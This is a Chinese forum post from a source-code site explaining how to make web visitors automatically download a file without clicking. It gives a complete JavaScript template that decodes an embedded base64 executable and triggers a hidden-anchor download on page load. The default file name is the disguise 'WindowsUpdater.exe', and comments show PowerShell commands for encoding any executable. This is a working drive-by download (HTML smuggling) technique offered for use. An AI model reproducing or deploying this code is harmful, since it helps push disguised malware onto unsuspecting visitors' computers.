三色源码网

标题: 通过JavaScript让网页访客后台自动下载文件 [打印本页]

作者: admin    时间: 2023-6-19 13:38
标题: 通过JavaScript让网页访客后台自动下载文件

[color=rgba(0, 0, 0, 0.84)]你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。

JavaScript代码
  1.             <script>
  2.                 filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
  3.                 filedata = ""//这里需要填文件数据
  4.                 //如何生成文件数据?
  5.                 //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:\Windows\System32\calc.exe'
  6.                 //模板
  7.                 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
  8.                 //譬如我们这里想获取计算器程序的data
  9.                 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))
  10.                 //我们可以继续输入
  11.                 //$base64string | Out-File temporary.log
  12.                 //之后我们打开这个文件
  13.                 //code .\temporary.log
  14.                 //之后将这个文件数据复制到上方的filedata=""中

  15.                 function base64tobytes(b64data){
  16.                     var binary_values = atob(b64data);
  17.                     var binary_length = binary_values.length
  18.                     var bytes_data = new Uint8Array(binary_length);

  19.                     for ( var i = 0 ; i < binary_length ; i++ ){
  20.                         bytes_data[i] = binary_values.charCodeAt(i);
  21.                     }

  22.                     return bytes_data.buffer;
  23.                 }

  24.                 var filebytes = base64tobytes(filedata);

  25.                 var blob = new Blob([filebytes],{"type":"octet/stream"});
  26.                 var anchor = document.createElement("a")
  27.                 document.body.append(anchor);
  28.                 anchor.style = "display:none;";

  29.                 var url = window.URL.createObjectURL(blob)
  30.                 anchor.href = url;
  31.                 anchor.download = filename;

  32.                 anchor.click();
  33.                 window.URL.revokeObjectURL(url);

  34.             </script>
复制代码








欢迎光临 三色源码网 (http://3se.cc/) Powered by Discuz! X3.3